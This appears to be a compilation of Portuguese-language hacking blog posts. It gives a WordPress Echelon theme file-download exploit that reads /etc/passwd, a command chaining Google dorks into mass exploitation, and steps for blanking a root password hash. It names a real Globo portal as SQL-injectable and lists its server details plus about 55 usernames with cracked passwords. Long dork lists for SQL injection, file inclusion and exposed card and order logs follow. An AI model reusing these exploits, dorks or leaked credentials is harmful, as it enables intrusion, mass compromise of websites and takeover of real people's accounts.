Wordpress A.F.D Theme Echelon Explorando tema wordpress falha Arbitrary File Download

EXPLOIT Wordpress A.F.D Theme Echelon

Explorando tema Echelon do wordpress falha Arbitrary File Download

# NAME:         Wordpress A.F.D Theme Echelon
# TIPE:         Arbitrary File Download
# Vendor:       www.wordpress.org
# Tested on:    Linux
# EXECUTE:      php exploit.php www.alvo.com.br
# OUTPUT:       EXPLOIT_WPAFD_Echelon.txt
# AUTOR:        GoogleINURL
# Blog:         http://blog.inurl.com.br
# Twitter:      https://twitter.com/googleinurl
# Fanpage:      https://fb.com/InurlBrasil
# GIT:          https://github.com/googleinurl
# YOUTUBE       https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA

Pois bem já que o 1337day não publicou o script posto aqui, "alias tem muito bla bla pra preeche odeio" rsrs.

A falha consista em explorar um um parâmetro $_POST do arquivo
/wp-content/themes/echelon/lib/scripts/dl-skin.php

Os seguintes campos são explorados para o Arbitrary File Download
Via POST:
_mysite_download_skin={$config['file']}&submit=Download
Ex:
_mysite_download_skin=/etc/passwd&submit=Download

Sem os devidos filtros podemos ter acesso a arquivos internos do servidor alvo.
Para tal validação desenvolvi um exploit pra validar tais valores expotos pelo /etc/passwd e  /etc/ shadow encontrando padrão baseado na seguintes expressões regulares:

------------------------------------------------------------------------------------------------

    preg_match_all("(root:.*)", $rest['corpo'], $final);

    preg_match_all("(sbin:.*)", $rest['corpo'], $final__);

    preg_match_all("(ftp:.*)", $rest['corpo'], $final___);

    preg_match_all("(nobody:.*)", $rest['corpo'], $final____);

    preg_match_all("(mail:.*)", $rest['corpo'], $final_____);

------------------------------------------------------------------------------------------------

Exploração:
Baixar Exploit: http://pastebin.com/14uVQyUV / http://packetstormsecurity.com/files/129607/WordPress-A.F.D.-Theme-Echelon-Arbitrary-File-Download.html
Modo de executar:
php exploit.php http://alvo
Resultado:

Agora vamos usar tal exploit junto com SCANNER INURLBR assim transformando o mesmo em um explorador massivo... EXPLORING MASS! EXPLORING MASS!

Baixar INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

Comando de execução:
./inurlbr.php --dork '[DORK]inurl:/wp-content/themes/echelon[DORK]"index of" /themes/echelon' -q 1,6 -s save.txt --comand-all "php exploitAFD.php _TARGET_"

Explicando comando:

--dork vai definir código avançado de busca google.
[DORK] é uma expressão usada dentro do parâmetro --dork que possibilita usar varias dorks em uma só analise.
-s salvar alguns sites vulns caso o scanner encontre.
-q define motores de busca a serem usados.
--comand-all executa comando no terminal para cada alvo encontrado.
para mais informações sobre --comand consulte o help do script.
Ajuda:
https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

Resultado execução:

Pesquisa dork:
DORK: inurl:/wp-content/themes/echelon
DORK: "index of" /themes/echelon

Baixar Exploit: http://pastebin.com/14uVQyUV
Ajuda: https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo
Baixar INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

QUEBRAR SENHA DO ROOT com live CD

QUEBRAR SENHA DO ROOT
Acessando seu disco rígido com live CD.
Monta a partição, por exemplo: $mount /dev/sda2/ /mnt
Caso não tenha a pasta mnt crie ela:  mkdir /mnt

Acessa a partição/sistema com o chroot: $chroot /mnt /bin/bash

Agora todo comando que for efetuado no terminal vai ser executado na maquina real,
Ou seja trocar a senha root do seu usuário
Ex:
$passwd usuário
$passwd root

Existe outra forma

Depois de montar a partição e executar o comando chroot


sudo gedit /etc/shadow

Primeira linha algo assim
root:AQUI_TEM_SENHA:16100:0:99999:7:::
Ex: root:$6$DsDwdas$4xFds.EfzTJl3I:16100:0:99999:7:::
Apague a senha
Vai ficar algo assim:
root::16100:0:99999:7:::

Feche o arquivo e salvando o mesmo, logo depois reinicia a maquina sem o cdlive.

E troque a senha do root, o mesmo serve para outros usuários.

$passwd root

Vulnerável portal globo nova análize, Login + Senha.

Erro de sql possibilita a invasão do portalclube da globo, essa vul é grande conhecida ja porem não achamos tela de login senha, quem conseguir tem logo abaixo a lista de user e suas senhas :)
OBS:Tais usuarios devem ser de serviço pago da globo que á mesma não vejo esforço algum pra feixar tal brecha em seu portal, assim prestando um serviço falho e negligente para seus usuarios.

Site:http://portaldaclube.globo.com/noticia.php?hash=4c9db844fef519e85580848a46bd83bb&id=35457

 IP:        201.7.176.72
DB Server:     MySQL
Resp. Time(avg):    87 ms
Current User:     [email protected]
Sql Version:     5.0.68-enterprise-gpl-log
Current DB:     tvclube
System User:     [email protected]
Host Name:     riolb249
Installation dir:     /
DB User:     'usr_tvclube'@'10.%.%.%'
Data Bases:     information_schema
        ipmonitor
        mysql
        tvclube

LOGIN // SEHA CRIPT.. // SENHA DESCRIPT..

idenis 15608c11ede24161f59989657b3f2d93 MD5 : santarita

lady 1729bc477f7b098b508c1e99269c74a1 MD5 : lady

amelia 176226b2d51002d2590f048881560569 MD5 : amelia

wendel 180f2b3fd15267deb08c088cb642db61 MD5 : esperantina

reinaldo 187a4958af68436bf1ce3dda5e2a3905 MD5 : reinaldo

marcio 1b150854805cbe12194c8dbc55c900cd MD5 : marcio

tereza 1ea438f58e538b595071443411d5f6b7 MD5 : blopes

miranda 1ee1877c6655ecc71dfead311c771bd0 MD5 : miranda

talencar 1f59c7c07b59971cff1de937755bb86a MD5 : talencar

admin 21232f297a57a5a743894a0e4a801fc3 MD5 : admin

clemilton 21c706fed226879e14ba11943358f549 MD5 : clemilton

vilanova 2cab2df7d7f8789081d26df812be437a MD5 : vilanova

layse 3218b3a2b8175efb708bfcde0ff8ef61 MD5 : layse

CLUBE 35459695729aa5dfd8321515f45d6920 MD5 : CLUBE

Pedro 38e2b2e31c0fce9537f735dda9fdf10a MD5 : Pedro

valterlima 39505886ed5f20d8662388273cb70a7d MD5 : valterlima

deusa 39ca2dfb7ab0ae9b11995588c57d1414 MD5 : deusa

tamiris 39d9ff3ebbbed1e41b8892b5edf03e20 MD5 : tamires

josevita 3e5add7a6c97395506294c70705cd02e MD5 : josevita

clube3 45a63b4855983232bc546c00a20f6ee5 MD5 : clube3

antonio 4a181673429f0b6abbfd452f0f3b5950 MD5 : antonio

christiane 4ccf963379bd67fbde81b52adade3384 MD5 : emartins

Chagas Silva 571c27315c70037116b4826ab5897e98 MD5 : Chagas Silva

raiylson 605759bf31a1fcfa4bcb8996baf247af MD5 : raiylson

Parnaíba 6081a835f52987a08b0fb66732924b1f [Not Found]

aldeneides 63c51bad7c27cb9fe4a19b0043b6895c MD5 : aldeneides

Raimundo Nonato 72657bc8f5c9491ae8b090ccefa14cbc MD5 : Raimundo Nonato

josegil 75d95b03ad68de5fded7c78aa424787b MD5 : josegil

gilson 7a3838bd6e1c4efdaff13d2ccc5380e6 MD5 : d@ni3ll3

wauthier 7ba4979beb4eb2626142b3fe940c04d2 MD5 : wauthier

teresa 87574e3e9216e89429f8af597b016479 MD5 : buriti

natanael 8a67e964ad9c7a48de18d6ae7a9dbf2b MD5 : natanael

psaboia 8f31bd17ca05982113975b413d2fe2ab MD5 : psaboia

globo 909f6c90b6db150078092be31dc47ffd MD5 : globo

flavio 978f5586ff4b42ead079d1f802fb05f4 MD5 : paulistana

emerson 9a064cee0381711e8579448294ab4be3 [Not Found]

george 9b306ab04ef5e25f9fb89c998a6aedab MD5 : george

nilson 9c405163c4de5cf5d7f0deb741a7e27e MD5 : nilson

jonas 9c5ddd54107734f7d18335a5245c286b MD5 : jonas

charles a5410ee37744c574ba5790034ea08f79 MD5 : charles

anna a70f9e38ff015afaa9ab0aacabee2e13 MD5 : anna

gilberto bafff1df7d916f99fbe8be1a81dc326f MD5 : gilberto

Richards bb80b7c78cbc7101c375ab38d63a2b07 MD5 : richards

Portal da Clube c02484ccba66e0681adc1b6f6e0b664c [Not Found]

neudenor c579342cf5f90550189f1ee833e1d9db MD5 : neudenor

klecio c62a48a206157722b13df45fae62be11 MD5 : klecio

welhitom ccebf5637246df8383b5473e0115708a MD5 : welhitom

virgiane d10d259e89cade42ca16ff46c4c89b43 MD5 : virgiane

weslley d38b704c2b6a0f01ca520bc0fc49a312 MD5 : weslley

paulobarro dd41cb18c930753cbecf993f828603dc MD5 : paulo

tony ddc5f5e86d2f85e1b1ff763aff13ce0a MD5 : tony

jose df5ba866ae83a5a7cbaae75a18dd398a MD5 : smendes

paz e003268a052a053ee5ec481e2a097648 MD5 : paz

zmaia e434dd9c7f573fb03924e0c4d3d44d45 MD5 : eco

portal eca1d1f97ba4b98284990de8dd03684c MD5 : globo.com

daniel f1b9cb2cd92b9534bbdf45c001ba8f78 MD5 : uniao

BANCO DE STRINGS

Banco de Strings SQL ERROS
Conjunto de Strings Que expõe erros SQL em determinados sites.
OBS:BOM PARA SQL INJECTION.

Banco de Strings Busca MÚSICAS
Conjunto de Strings Que expõe diretórios / pastas / com arquivos de mídia.

Banco de Strings Busca PASSWORD
Conjunto de Strings Que expõe diretórios / pastas / com arquivos de senhas ou privilégios de edição.
 

Banco de Strings Busca CÂMERAS  &  WEB-CAN
Conjunto de Strings Que expõe Câmeras de vigilância & Web-Can's.

Click aqui e tenha acesso a muito mais dorks

Dorks variadas

/~gcw/cgi-bin/Count.cgi?df=callcard.dat
/cgi-bin/PDG_Cart/shopper.conf
/cgi-local/PDG_Cart/shopper.conf
/cgi-bin/PDG_Cart/order.log
/PDG_Cart/order.log
/cgi-bin/cart32.exe/cart32clientlist
/cgi-bin/Count.cgi?df=callcard.dat
/cgi/PDG_Cart/order.log
/PDG_Cart/authorizenets.txt
/cgi-bin/PDG_Cart/mc.txt
/PDG/order.txt
/cgi-bin/PDG_cart/card.txt
/PDG_Cart/shopper.conf
/php/mlog.phtml
/php/mylog.phtml
/webcart/carts
/cgi-bin/orders.txt
/WebShop/logs
/cgi-bin/AnyForm2
/cgi-bin/mc.txt
/ccbill/secure/ccbill.log
/cgi-bin/orders/mc.txt
/WebCart/orders.txt
/cgi-bin/orders/cc.txt
/cvv2.txt
/cgi-bin/orderlog.txt
/WebShop/logs
/orderb/shop.mdb
/_private/shopping_cart.mdb
/scripts/iisadmin/tools/mkilog.exe
/cool-logs/mylog.html
/cool-logs/mlog.html
/easylog/easylog.html
/HyperStat/stat_what.log
/mall_log_files/
/scripts/weblog

inurl:(0x3a,version
    inurl:(@version,0x3a,databse)
    inurl:(user,0x3a,pass)
    inurl:+union+select+ from
    inurl:+union+select+ pass
    inurl:+union+select+ SHOP
    inurl:+union+select+ admin
    inurl:index.php?id=
    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:historialeer.php?num=
    inurl:reagir.php?num=
    inurl:Stray-Questions-View.php?num=
    inurl:forum_bds.php?num=
    inurl:game.php?id=
    inurl:view_product.php?id=
    inurl:newsone.php?id=
    inurl:sw_comment.php?id=
    inurl:news.php?id=
    inurl:avd_start.php?avd=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:news_view.php?id=
    inurl:select_biblio.php?id=
    inurl:humor.php?id=
    inurl:aboutbook.php?id=
    inurl:ogl_inet.php?ogl_id=
    inurl:fiche_spectacle.php?id=
    inurl:communique_detail.php?id=
    inurl:sem.php3?id=
    inurl:kategorie.php4?id=
    inurl:news.php?id=
    inurl:index.php?id=
    inurl:faq2.php?id=
    inurl:show_an.php?id=
    inurl:preview.php?id=
    inurl:loadpsb.php?id=
    inurl:opinions.php?id=
    inurl:spr.php?id=
    inurl:pages.php?id=
    inurl:announce.php?id=
    inurl:clanek.php4?id=
    inurl:participant.php?id=
    inurl:download.php?id=
    inurl:main.php?id=
    inurl:review.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:prod_detail.php?id=
    inurl:viewphoto.php?id=
    inurl:article.php?id=
    inurl:person.php?id=
    inurl:productinfo.php?id=
    inurl:showimg.php?id=
    inurl:view.php?id=
    inurl:website.php?id=
    inurl:hosting_info.php?id=
    inurl:gallery.php?id=
    inurl:rub.php?idr=
    inurl:view_faq.php?id=
    inurl:artikelinfo.php?id=
    inurl:detail.php?ID=
    inurl:index.php?=
    inurl:profile_view.php?id=
    inurl:category.php?id=
    inurl:publications.php?id=
    inurl:fellows.php?id=
    inurl:downloads_info.php?id=
    inurl:prod_info.php?id=
    inurl:shop.php?do=part&id=
    inurl:productinfo.php?id=
    inurl:collectionitem.php?id=
    inurl:band_info.php?id=
    inurl:product.php?id=
    inurl:releases.php?id=
    inurl:ray.php?id=
    inurl:produit.php?id=
    inurl:pop.php?id=
    inurl:shopping.php?id=
    inurl:productdetail.php?id=
    inurl:post.php?id=
    inurl:viewshowdetail.php?id=
    inurl:clubpage.php?id=
    inurl:memberInfo.php?id=
    inurl:section.php?id=
    inurl:theme.php?id=
    inurl:page.php?id=
    inurl:shredder-categories.php?id=
    inurl:tradeCategory.php?id=
    inurl:product_ranges_view.php?ID=
    inurl:shop_category.php?id=
    inurl:transcript.php?id=
    inurl:channel_id=
    inurl:item_id=
    inurl:newsid=
    inurl:trainers.php?id=
    inurl:news-full.php?id=
    inurl:news_display.php?getid=
    inurl:index2.php?option=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:newsone.php?id=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:aboutbook.php?id=
    inurl:preview.php?id=
    inurl:loadpsb.php?id=
    inurl:pages.php?id=
    inurl:material.php?id=
    inurl:clanek.php4?id=
    inurl:announce.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:viewapp.php?id=
    inurl:viewphoto.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:review.php?id=
    inurl:iniziativa.php?in=
    inurl:curriculum.php?id=
    inurl:labels.php?id=
    inurl:story.php?id=
    inurl:look.php?ID=
    inurl:newsone.php?id=
    inurl:aboutbook.php?id=
    inurl:material.php?id=
    inurl:opinions.php?id=
    inurl:announce.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:tekst.php?idt=
    inurl:newscat.php?id=
    inurl:newsticker_info.php?idn=
    inurl:rubrika.php?idr=
    inurl:rubp.php?idr=
    inurl:offer.php?idf=
    inurl:art.php?idm=
    inurl:title.php?id=
    inurl:recruit_details.php?id=
    inurl:index.php?cPath=

    ASP DORK
    nurl:”add.asp?bookid=”
    inurl:”add_cart.asp?num=”
    inurl:”addcart.asp?”
    inurl:”addItem.asp”
    inurl:”add-to-cart.asp?ID=”
    inurl:”addToCart.asp?idProduct=”
    inurl:”addtomylist.asp?ProdId=”
    inurl:”adminEditProductFields.asp?intProdID=”
    inurl:”advSearch_h.asp?idCategory=”
    inurl:”affiliate.asp?ID=”
    inurl:”affiliate-agreement.cfm?storeid=”
    inurl:”affiliates.asp?id=”
    inurl:”ancillary.asp?ID=”
    inurl:”archive.asp?id=”
    inurl:”article.asp?id=”
    inurl:”aspx?PageID”
    inurl:”basket.asp?id=”
    inurl:”Book.asp?bookID=”
    inurl:”book_list.asp?bookid=”
    inurl:”book_view.asp?bookid=”
    inurl:”BookDetails.asp?ID=”
    inurl:”browse.asp?catid=”
    inurl:”browse_item_details.asp”
    inurl:”Browse_Item_Details.asp?Store_Id=”
    inurl:”buy.asp?”
    inurl:”buy.asp?bookid=”
    inurl:”bycategory.asp?id=”
    inurl:”cardinfo.asp?card=”
    inurl:”cart.asp?action=”
    inurl:”cart.asp?cart_id=”
    inurl:”cart.asp?id=”
    inurl:”cart_additem.asp?id=”
    inurl:”cart_validate.asp?id=”
    inurl:”cartadd.asp?id=”
    inurl:”cat.asp?iCat=”
    inurl:”catalog.asp”
    inurl:”catalog.asp?CatalogID=”
    inurl:”catalog_item.asp?ID=”
    inurl:”catalog_main.asp?catid=”
    inurl:”category.asp”
    inurl:”category.asp?catid=”
    inurl:”category_list.asp?id=”
    inurl:”categorydisplay.asp?catid=”
    inurl:”checkout.asp?cartid=”
    inurl:”checkout.asp?UserID=”
    inurl:”checkout_confirmed.asp?order_id=”
    inurl:”checkout1.asp?cartid=”
    inurl:”comersus_listCategoriesAndProducts.asp?idCategory =”
    inurl:”comersus_optEmailToFriendForm.asp?idProduct=”
    inurl:”comersus_optReviewReadExec.asp?idProduct=”
    inurl:”comersus_viewItem.asp?idProduct=”
    inurl:”comments_form.asp?ID=”
    inurl:”contact.asp?cartId=”
    inurl:”content.asp?id=”
    inurl:”customerService.asp?TextID1=”
    inurl:”default.asp?catID=”
    inurl:”description.asp?bookid=”
    inurl:”details.asp?BookID=”
    inurl:”details.asp?Press_Release_ID=”
    inurl:”details.asp?Product_ID=”
    inurl:”details.asp?Service_ID=”
    inurl:”display_item.asp?id=”
    inurl:”displayproducts.asp”
    inurl:”downloadTrial.asp?intProdID=”
    inurl:”emailproduct.asp?itemid=”
    inurl:”emailToFriend.asp?idProduct=”
    inurl:”events.asp?ID=”
    inurl:”faq.asp?cartID=”
    inurl:”faq_list.asp?id=”
    inurl:”faqs.asp?id=”
    inurl:”feedback.asp?title=”
    inurl:”freedownload.asp?bookid=”
    inurl:”fullDisplay.asp?item=”
    inurl:”getbook.asp?bookid=”
    inurl:”GetItems.asp?itemid=”
    inurl:”giftDetail.asp?id=”
    inurl:”help.asp?CartId=”
    inurl:”home.asp?id=”
    inurl:”index.asp?cart=”
    inurl:”index.asp?cartID=”
    inurl:”index.asp?ID=”
    inurl:”info.asp?ID=”
    inurl:”item.asp?eid=”
    inurl:”item.asp?item_id=”
    inurl:”item.asp?itemid=”
    inurl:”item.asp?model=”
    inurl:”item.asp?prodtype=”
    inurl:”item.asp?shopcd=”
    inurl:”item_details.asp?catid=”
    inurl:”item_list.asp?maingroup”
    inurl:”item_show.asp?code_no=”
    inurl:”itemDesc.asp?CartId=”
    inurl:”itemdetail.asp?item=”
    inurl:”itemdetails.asp?catalogid=”
    inurl:”learnmore.asp?cartID=”
    inurl:”links.asp?catid=”
    inurl:”list.asp?bookid=”
    inurl:”List.asp?CatID=”
    inurl:”listcategoriesandproducts.asp?idCategory=”
    inurl:”modline.asp?id=”
    inurl:”myaccount.asp?catid=”
    inurl:”news.asp?id=”
    inurl:”order.asp?BookID=”
    inurl:”order.asp?id=”
    inurl:”order.asp?item_ID=”
    inurl:”OrderForm.asp?Cart=”
    inurl:”page.asp?PartID=”
    inurl:”payment.asp?CartID=”
    inurl:”pdetail.asp?item_id=”
    inurl:”powersearch.asp?CartId=”
    inurl:”privacy.asp?cartID=”
    inurl:”prodbycat.asp?intCatalogID=”
    inurl:”prodetails.asp?prodid=”
    inurl:”prodlist.asp?catid=”
    inurl:”product.asp?bookID=”
    inurl:”product.asp?intProdID=”
    inurl:”product_info.asp?item_id=”
    inurl:”productDetails.asp?idProduct=”
    inurl:”productDisplay.asp”
    inurl:”productinfo.asp?item=”
    inurl:”productlist.asp?ViewType=Category&CategoryID= “
    inurl:”productpage.asp”
    inurl:”products.asp?ID=”
    inurl:”products.asp?keyword=”
    inurl:”products_category.asp?CategoryID=”
    inurl:”products_detail.asp?CategoryID=”
    inurl:”productsByCategory.asp?intCatalogID=”
    inurl:”prodView.asp?idProduct=”
    inurl:”promo.asp?id=”
    inurl:”promotion.asp?catid=”
    inurl:”pview.asp?Item=”
    inurl:”resellers.asp?idCategory=”
    inurl:”results.asp?cat=”
    inurl:”savecart.asp?CartId=”
    inurl:”search.asp?CartID=”
    inurl:”searchcat.asp?search_id=”

    inurl:”Select_Item.asp?id=”
    inurl:”Services.asp?ID=”
    inurl:”shippinginfo.asp?CartId=”
    inurl:”shop.asp?a=”
    inurl:”shop.asp?action=”
    inurl:”shop.asp?bookid=”
    inurl:”shop.asp?cartID=”
    inurl:”shop_details.asp?prodid=”
    inurl:”shopaddtocart.asp”
    inurl:”shopaddtocart.asp?catalogid=”
    inurl:”shopbasket.asp?bookid=”
    inurl:”shopbycategory.asp?catid=”
    inurl:”shopcart.asp?title=”
    inurl:”shopcreatorder.asp”
    inurl:”shopcurrency.asp?cid=”
    inurl:”shopdc.asp?bookid=”
    inurl:”shopdisplaycategories.asp”
    inurl:”shopdisplayproduct.asp?catalogid=”
    inurl:”shopdisplayproducts.asp”
    inurl:”shopexd.asp”
    inurl:”shopexd.asp?catalogid=”
    inurl:”shopping_basket.asp?cartID=”
    inurl:”shopprojectlogin.asp”
    inurl:”shopquery.asp?catalogid=”
    inurl:”shopremoveitem.asp?cartid=”
    inurl:”shopreviewadd.asp?id=”
    inurl:”shopreviewlist.asp?id=”
    inurl:”ShopSearch.asp?CategoryID=”
    inurl:”shoptellafriend.asp?id=”
    inurl:”shopthanks.asp”
    inurl:”shopwelcome.asp?title=”
    inurl:”show_item.asp?id=”
    inurl:”show_item_details.asp?item_id=”
    inurl:”showbook.asp?bookid=”
    inurl:”showStore.asp?catID=”
    inurl:”shprodde.asp?SKU=”
    inurl:”specials.asp?id=”
    inurl:”store.asp?id=”
    inurl:”store_bycat.asp?id=”
    inurl:”store_listing.asp?id=”
    inurl:”Store_ViewProducts.asp?Cat=”
    inurl:”store-details.asp?id=”
    inurl:”storefront.asp?id=”
    inurl:”storefronts.asp?title=”
    inurl:”storeitem.asp?item=”
    inurl:”StoreRedirect.asp?ID=”
    inurl:”subcategories.asp?id=”
    inurl:”tek9.asp?”
    inurl:”template.asp?Action=Item&pid=”
    inurl:”topic.asp?ID=”
    inurl:”tuangou.asp?bookid=”
    inurl:”type.asp?iType=”
    inurl:”updatebasket.asp?bookid=”
    inurl:”updates.asp?ID=”
    inurl:”view.asp?cid=”
    inurl:”view_cart.asp?title=”
    inurl:”view_detail.asp?ID=”
    inurl:”viewcart.asp?CartId=”
    inurl:”viewCart.asp?userID=”
    inurl:”viewCat_h.asp?idCategory=”
    inurl:”viewevent.asp?EventID=”
    inurl:”viewitem.asp?recor=”
    inurl:”viewPrd.asp?idcategory=”
    inurl:”ViewProduct.asp?misc=”
    inurl:”voteList.asp?item_ID=”
    inurl:”whatsnew.asp?idCategory=”
    inurl:”WsAncillary.asp?ID=”

    SQL DORK

    inurl:”id=” & intext:”Warning: mysql_fetch_assoc()
    inurl:”id=” & intext:”Warning: mysql_fetch_array()
    inurl:”id=” & intext:”Warning: mysql_num_rows()
    inurl:”id=” & intext:”Warning: session_start()
    inurl:”id=” & intext:”Warning: getimagesize()
    inurl:”id=” & intext:”Warning: is_writable()
    inurl:”id=” & intext:”Warning: getimagesize()
    inurl:”id=” & intext:”Warning: Unknown()
    inurl:”id=” & intext:”Warning: session_start()
    inurl:”id=” & intext:”Warning: mysql_result()
    inurl:”id=” & intext:”Warning: pg_exec()
    inurl:”id=” & intext:”Warning: mysql_result()
    inurl:”id=” & intext:”Warning: mysql_num_rows()
    inurl:”id=” & intext:”Warning: mysql_query()
    inurl:”id=” & intext:”Warning: array_merge()
    inurl:”id=” & intext:”Warning: preg_match()
    inurl:”id=” & intext:”Warning: ilesize()
    inurl:”id=” & intext:”Warning: filesize()
    inurl:”id=” & intext:”Warning: filesize()
    inurl:”id=” & intext:”Warning: require()
    inurl:(0x3a,version
    inurl:(@version,0x3a,databse)
    inurl:(user,0x3a,pass)
    inurl:+union+select+ from
    inurl:+union+select+ pass
    inurl:+union+select+ SHOP
    inurl:+union+select+ admin
    inurl:index.php?id=
    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:historialeer.php?num=
    inurl:reagir.php?num=
    inurl:Stray-Questions-View.php?num=

    RFI AND LFI

    RFI
    inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

    inurl:/include/new-visitor.inc.php?lvc_include_dir=

    inurl:/_functions.php?prefix=

    inurl:/cpcommerce/_functions.php?prefix=

    inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

    inurl:/modules/agendax/addevent.inc.php?agendax_path=

    inurl:/ashnews.php?pathtoashnews=

    inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

    inurl:/pm/lib.inc.php?pm_path=

    inurl:/b2-tools/gm-2-b2.php?b2inc=

    inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

    inurl:/modules/agendax/addevent.inc.php?agendax_path=

    inurl:/includes/include_once.php?include_file=

    inurl:/e107/e107_handlers/secure_img_render.php?p=

    inurl:/shoutbox/expanded.php?conf=

    inurl:/main.php?x=

    inurl:/myPHPCalendar/admin.php?cal_dir=

    inurl:/index.php/main.php?x=

    inurl:/index.php?include=

    inurl:/index.php?x=

    inurl:/index.php?open=

    inurl:/index.php?visualizar=

    inurl:/template.php?pagina=

    inurl:/index.php?pagina=

    inurl:/index.php?inc=

    inurl:/includes/include_onde.php?include_file=

    inurl:/index.php?page=

    inurl:/index.php?pg=

    inurl:/index.php?show=

    inurl:/index.php?cat=

    inurl:/index.php?file=

    inurl:/db.php?path_local=

    inurl:/index.php?site=

    inurl:/htmltonuke.php?filnavn=

    inurl:/livehelp/inc/pipe.php?HCL_path=

    inurl:/hcl/inc/pipe.php?HCL_path=

    inurl:/inc/pipe.php?HCL_path=

    inurl:/support/faq/inc/pipe.php?HCL_path=

    inurl:/help/faq/inc/pipe.php?HCL_path=

    inurl:/helpcenter/inc/pipe.php?HCL_path=

    inurl:/live-support/inc/pipe.php?HCL_path=

    inurl:/gnu3/index.php?doc=

    inurl:/gnu/index.php?doc=

    inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

    inurl:/forum/install.php?phpbb_root_dir=

    inurl:/includes/calendar.php?phpc_root_path=

    inurl:/includes/setup.php?phpc_root_path=

    inurl:/inc/authform.inc.php?path_pre=

    inurl:/include/authform.inc.php?path_pre=

    inurl:index.php?nic=

    inurl:index.php?sec=

    inurl:index.php?content=

    inurl:index.php?link=

    inurl:index.php?filename=

    inurl:index.php?dir=

    inurl:index.php?document=

    inurl:index.php?view=

    inurl:*.php?sel=

    inurl:*.php?session=&content=

    inurl:*.php?locate=

    inurl:*.php?place=

    inurl:*.php?layout=

    inurl:*.php?go=

    inurl:*.php?catch=

    inurl:*.php?mode=

    inurl:*.php?name=

    inurl:*.php?loc=

    inurl:*.php?f=

    inurl:*.php?inf=

    inurl:*.php?pg=

    inurl:*.php?load=

    inurl:*.php?naam=

    allinurl:/index.php?page= site:*.dk

    allinurl:/index.php?file= site:*.dk

    INURL OR ALLINURL WITH:

    /temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

    /includes/header.php?systempath=

    /Gallery/displayCategory.php?basepath=

    /index.inc.php?PATH_Includes=

    /ashnews.php?pathtoashnews=

    /ashheadlines.php?pathtoashnews=

    /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

    /demo/includes/init.php?user_inc=

    /jaf/index.php?show=

    /inc/shows.inc.php?cutepath=

    /poll/admin/common.inc.php?base_path=

    /pollvote/pollvote.php?pollname=

    /sources/post.php?fil_config=

    /modules/My_eGallery/public/displayCategory.php?basepath=

    /bb_lib/checkdb.inc.php?libpach=

    /include/livre_include.php?no_connect=lol&chem_absolu=

    /index.php?from_market=Y&pageurl=

    /modules/mod_mainmenu.php?mosConfig_absolute_path=

    /pivot/modules/module_db.php?pivot_path=

    /modules/4nAlbum/public/displayCategory.php?basepath=

    /derniers_commentaires.php?rep=

    /modules/coppermine/themes/default/theme.php?THEME_DIR=

    /modules/coppermine/include/init.inc.php?CPG_M_DIR=

    /modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

    /coppermine/themes/maze/theme.php?THEME_DIR=

    /allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

    /allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

    /myPHPCalendar/admin.php?cal_dir=

    /agendax/addevent.inc.php?agendax_path=

    /modules/mod_mainmenu.php?mosConfig_absolute_path=

    /modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

    /main.php?page=

    /default.php?page=

    /index.php?action=

    /index1.php?p=

    /index2.php?x=

    /index2.php?content=

    /index.php?conteudo=

    /index.php?cat=

    /include/new-visitor.inc.php?lvc_include_dir=

    /modules/agendax/addevent.inc.php?agendax_path=

    /shoutbox/expanded.php?conf=

    /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

    /pivot/modules/module_db.php?pivot_path=

    /library/editor/editor.php?root=

    /library/lib.php?root=

    /e107/e107_handlers/secure_img_render.php?p=

    /zentrack/index.php?configFile=

    /main.php?x=

    /becommunity/community/index.php?pageurl=

    /GradeMap/index.php?page=

    /index4.php?body=

    /side/index.php?side=

    /main.php?page=

    /es/index.php?action=

    /index.php?sec=

    /index.php?main=

    /index.php?sec=

    /index.php?menu=

    /html/page.php?page=

    /page.php?view=

    /index.php?menu=

    /main.php?view=

    /index.php?page=

    /content.php?page=

    /main.php?page=

    /index.php?x=

    /main_site.php?page=

    /index.php?L2=

    /content.php?page=

    /main.php?page=

    /index.php?x=

    /main_site.php?page=

    /index.php?L2=

    /index.php?show=

    /tutorials/print.php?page=

    /index.php?page=

    /index.php?level=

    /index.php?file=

    /index.php?inter_url=

    /index.php?page=

    /index2.php?menu=

    /index.php?level=

    /index1.php?main=

    /index1.php?nav=

    /index1.php?link=

    /index2.php?page=

    /index.php?myContent=

    /index.php?TWC=

    /index.php?sec=

    /index1.php?main=

    /index2.php?page=

